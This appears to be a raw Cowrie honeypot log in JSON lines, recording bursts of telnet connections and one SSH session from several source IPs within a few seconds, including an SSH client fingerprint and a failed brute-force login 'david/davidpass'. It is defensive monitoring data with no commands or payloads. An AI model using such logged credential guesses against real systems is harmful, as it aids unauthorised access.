{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43820,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b84362ddea3","protocol":"telnet","message":"New connection: 51.79.21.139:43820 (159.203.135.109:23) [session: 7b84362ddea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:09.483759Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59522,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5b03f6e09f2","protocol":"telnet","message":"New connection: 147.135.136.77:59522 (159.203.135.109:23) [session: b5b03f6e09f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:09.689557Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34832,"dst_ip":"159.203.135.109","dst_port":23,"session":"6751c43ccdf5","protocol":"telnet","message":"New connection: 81.30.157.18:34832 (159.203.135.109:23) [session: 6751c43ccdf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:09.883686Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59528,"dst_ip":"159.203.135.109","dst_port":23,"session":"a512008434cd","protocol":"telnet","message":"New connection: 147.135.136.77:59528 (159.203.135.109:23) [session: a512008434cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:09.976678Z"}
{"eventid":"cowrie.session.closed","duration":30.10458207130432,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:10.047910Z","src_ip":"147.135.136.77","session":"b43aea5640c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.179256439208984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:10.072948Z","src_ip":"51.79.21.139","session":"62fc4978948d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.058671951293945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:10.086780Z","src_ip":"147.135.136.77","session":"a004c08fc3df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.185.195","src_port":51144,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad1a4fdd652e","protocol":"ssh","message":"New connection: 209.99.185.195:51144 (10.17.0.5:22) [session: ad1a4fdd652e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:10.328558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:10.333953Z","src_ip":"209.99.185.195","session":"ad1a4fdd652e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:10.443511Z","src_ip":"209.99.185.195","session":"ad1a4fdd652e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"davidpass","message":"login attempt [david/davidpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:10.910864Z","src_ip":"209.99.185.195","session":"ad1a4fdd652e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.72931170463562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:11.051966Z","src_ip":"81.30.157.18","session":"ac5d41ca8a44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51141047477722,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:11.065421Z","src_ip":"81.30.157.18","session":"7bb335466adf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.225903272628784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:11.128709Z","src_ip":"147.135.136.77","session":"744d61895710","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59540,"dst_ip":"159.203.135.109","dst_port":23,"session":"c53dddde47ca","protocol":"telnet","message":"New connection: 147.135.136.77:59540 (159.203.135.109:23) [session: c53dddde47ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:11.134027Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59548,"dst_ip":"159.203.135.109","dst_port":23,"session":"c331328a6c0a","protocol":"telnet","message":"New connection: 147.135.136.77:59548 (159.203.135.109:23) [session: c331328a6c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:11.258690Z"}
{"eventid":"cowrie.session.closed","duration":31.100830078125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:11.509284Z","src_ip":"51.79.21.139","session":"da90878e590d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.169583320617676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:11.515860Z","src_ip":"168.119.91.149","session":"29138eb7d657","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:12.023292Z","src_ip":"209.99.185.195","session":"ad1a4fdd652e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.98855233192444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:12.029603Z","src_ip":"51.79.21.139","session":"3e5b60682122","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.810331106185913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:12.037081Z","src_ip":"147.135.136.77","session":"be9dcd5fd9fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.535861253738403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:12.042786Z","src_ip":"147.135.136.77","session":"d6b41b2e64aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.485638856887817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:12.109653Z","src_ip":"147.135.136.77","session":"b6f38ca99ee6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.552816152572632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:12.194243Z","src_ip":"81.30.157.18","session":"6b582ba52caf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59564,"dst_ip":"159.203.135.109","dst_port":23,"session":"95997bad5f29","protocol":"telnet","message":"New connection: 147.135.136.77:59564 (159.203.135.109:23) [session: 95997bad5f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:12.301897Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59568,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8403508b428","protocol":"telnet","message":"New connection: 147.135.136.77:59568 (159.203.135.109:23) [session: e8403508b428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:12.323242Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":35228,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ff175293b3a","protocol":"telnet","message":"New connection: 168.119.91.149:35228 (159.203.135.109:23) [session: 7ff175293b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:12.520685Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":35232,"dst_ip":"159.203.135.109","dst_port":23,"session":"41a515ffb3c2","protocol":"telnet","message":"New connection: 168.119.91.149:35232 (159.203.135.109:23) [session: 41a515ffb3c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:12.757261Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34846,"dst_ip":"159.203.135.109","dst_port":23,"session":"91d56fa85438","protocol":"telnet","message":"New connection: 81.30.157.18:34846 (159.203.135.109:23) [session: 91d56fa85438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:12.890407Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59570,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb30b8beee40","protocol":"telnet","message":"New connection: 147.135.136.77:59570 (159.203.135.109:23) [session: cb30b8beee40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:13.002479Z"}
{"eventid":"cowrie.session.closed","duration":31.03246283531189,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:13.101562Z","src_ip":"147.135.136.77","session":"93a507097c58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1710205078125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:13.283380Z","src_ip":"147.135.136.77","session":"8123afdbf35e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34858,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c5f95eaea40","protocol":"telnet","message":"New connection: 81.30.157.18:34858 (159.203.135.109:23) [session: 8c5f95eaea40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:13.585742Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48070,"dst_ip":"159.203.135.109","dst_port":23,"session":"90c0908eb2f4","protocol":"telnet","message":"New connection: 51.79.21.139:48070 (159.203.135.109:23) [session: 90c0908eb2f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:13.706872Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48090,"dst_ip":"159.203.135.109","dst_port":23,"session":"de620c5bb995","protocol":"telnet","message":"New connection: 51.79.21.139:48090 (159.203.135.109:23) [session: de620c5bb995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:14.042059Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48082,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2e3188d2884","protocol":"telnet","message":"New connection: 51.79.21.139:48082 (159.203.135.109:23) [session: a2e3188d2884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:14.048938Z"}
{"eventid":"cowrie.session.closed","duration":30.19373655319214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:14.123445Z","src_ip":"85.208.100.77","session":"abd664e89d6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48098,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac08ba5a5603","protocol":"telnet","message":"New connection: 51.79.21.139:48098 (159.203.135.109:23) [session: ac08ba5a5603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:14.298384Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59578,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0879402d943","protocol":"telnet","message":"New connection: 147.135.136.77:59578 (159.203.135.109:23) [session: c0879402d943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:14.309714Z"}
{"eventid":"cowrie.session.closed","duration":30.67075824737549,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:14.523922Z","src_ip":"168.119.91.149","session":"97595e269349","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59586,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa6b87c05910","protocol":"telnet","message":"New connection: 147.135.136.77:59586 (159.203.135.109:23) [session: aa6b87c05910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:14.529436Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59602,"dst_ip":"159.203.135.109","dst_port":23,"session":"117b1beac18b","protocol":"telnet","message":"New connection: 147.135.136.77:59602 (159.203.135.109:23) [session: 117b1beac18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:14.632629Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":35246,"dst_ip":"159.203.135.109","dst_port":23,"session":"602663eeef8f","protocol":"telnet","message":"New connection: 168.119.91.149:35246 (159.203.135.109:23) [session: 602663eeef8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:14.666478Z"}
{"eventid":"cowrie.session.closed","duration":31.443788290023804,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:14.684075Z","src_ip":"147.135.136.77","session":"8ac83e79ca6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48102,"dst_ip":"159.203.135.109","dst_port":23,"session":"abf68a1f6a51","protocol":"telnet","message":"New connection: 51.79.21.139:48102 (159.203.135.109:23) [session: abf68a1f6a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:14.773599Z"}
{"eventid":"cowrie.session.closed","duration":30.5017728805542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:15.043388Z","src_ip":"51.79.21.139","session":"94033cc1ba9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53271174430847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:15.047516Z","src_ip":"147.135.136.77","session":"2f56a481fff6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.207228660583496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:15.054594Z","src_ip":"51.79.21.139","session":"c15f11111351","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30324101448059,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:15.072274Z","src_ip":"168.119.91.149","session":"7c832d5ba068","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81032919883728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:15.084130Z","src_ip":"147.135.136.77","session":"3c6a39a3a2de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.103235721588135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:15.363085Z","src_ip":"147.135.136.77","session":"008e2b70c174","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42708,"dst_ip":"159.203.135.109","dst_port":23,"session":"08953b831e89","protocol":"telnet","message":"New connection: 147.135.136.77:42708 (159.203.135.109:23) [session: 08953b831e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:15.869937Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":49534,"dst_ip":"159.203.135.109","dst_port":23,"session":"de26ddb9ff80","protocol":"telnet","message":"New connection: 37.187.24.227:49534 (159.203.135.109:23) [session: de26ddb9ff80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:15.906608Z"}
{"eventid":"cowrie.session.closed","duration":31.74092125892639,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:15.974781Z","src_ip":"51.79.21.139","session":"e60c30d0e0e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.731846809387207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:16.083914Z","src_ip":"147.135.136.77","session":"7f1174470767","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.666027307510376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:16.089159Z","src_ip":"147.135.136.77","session":"03a7c909ba56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.165818214416504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:16.169266Z","src_ip":"51.79.21.139","session":"70e0b061a58e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":50086,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c7a4a35d0b5","protocol":"telnet","message":"New connection: 37.187.24.227:50086 (159.203.135.109:23) [session: 2c7a4a35d0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:16.230774Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48112,"dst_ip":"159.203.135.109","dst_port":23,"session":"76a8f8efbe4a","protocol":"telnet","message":"New connection: 51.79.21.139:48112 (159.203.135.109:23) [session: 76a8f8efbe4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:16.324311Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59604,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea5a3b2efb3a","protocol":"telnet","message":"New connection: 147.135.136.77:59604 (159.203.135.109:23) [session: ea5a3b2efb3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:16.454037Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42716,"dst_ip":"159.203.135.109","dst_port":23,"session":"9be211d37521","protocol":"telnet","message":"New connection: 147.135.136.77:42716 (159.203.135.109:23) [session: 9be211d37521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:16.889563Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42720,"dst_ip":"159.203.135.109","dst_port":23,"session":"67abeb848f4d","protocol":"telnet","message":"New connection: 147.135.136.77:42720 (159.203.135.109:23) [session: 67abeb848f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:17.054552Z"}
{"eventid":"cowrie.session.closed","duration":30.278011083602905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:17.070941Z","src_ip":"51.79.21.139","session":"dd5e53f27617","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48114,"dst_ip":"159.203.135.109","dst_port":23,"session":"536f6c88fffd","protocol":"telnet","message":"New connection: 51.79.21.139:48114 (159.203.135.109:23) [session: 536f6c88fffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:17.076854Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48130,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e34216ee661","protocol":"telnet","message":"New connection: 51.79.21.139:48130 (159.203.135.109:23) [session: 5e34216ee661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:17.092324Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56288,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b687caca42f","protocol":"telnet","message":"New connection: 81.30.157.18:56288 (159.203.135.109:23) [session: 1b687caca42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:17.178615Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42734,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b0415c188e1","protocol":"telnet","message":"New connection: 147.135.136.77:42734 (159.203.135.109:23) [session: 6b0415c188e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:17.222230Z"}
{"eventid":"cowrie.session.closed","duration":30.622819900512695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:17.289608Z","src_ip":"147.135.136.77","session":"33c16d56f911","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.129154920578003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:17.482048Z","src_ip":"168.119.91.149","session":"2a8f75cb2bd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56302,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c00123fb577","protocol":"telnet","message":"New connection: 81.30.157.18:56302 (159.203.135.109:23) [session: 0c00123fb577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:17.627097Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56308,"dst_ip":"159.203.135.109","dst_port":23,"session":"ded13c3d2b42","protocol":"telnet","message":"New connection: 81.30.157.18:56308 (159.203.135.109:23) [session: ded13c3d2b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:17.860060Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48134,"dst_ip":"159.203.135.109","dst_port":23,"session":"b426ef696eba","protocol":"telnet","message":"New connection: 51.79.21.139:48134 (159.203.135.109:23) [session: b426ef696eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:17.944463Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48138,"dst_ip":"159.203.135.109","dst_port":23,"session":"84289f84b8fa","protocol":"telnet","message":"New connection: 51.79.21.139:48138 (159.203.135.109:23) [session: 84289f84b8fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:18.043648Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48148,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e35ed503c6b","protocol":"telnet","message":"New connection: 51.79.21.139:48148 (159.203.135.109:23) [session: 3e35ed503c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:18.076011Z"}
{"eventid":"cowrie.session.closed","duration":31.053146839141846,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:18.119690Z","src_ip":"51.79.21.139","session":"827187a59684","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42742,"dst_ip":"159.203.135.109","dst_port":23,"session":"b31a43f85c6a","protocol":"telnet","message":"New connection: 147.135.136.77:42742 (159.203.135.109:23) [session: b31a43f85c6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:18.284171Z"}
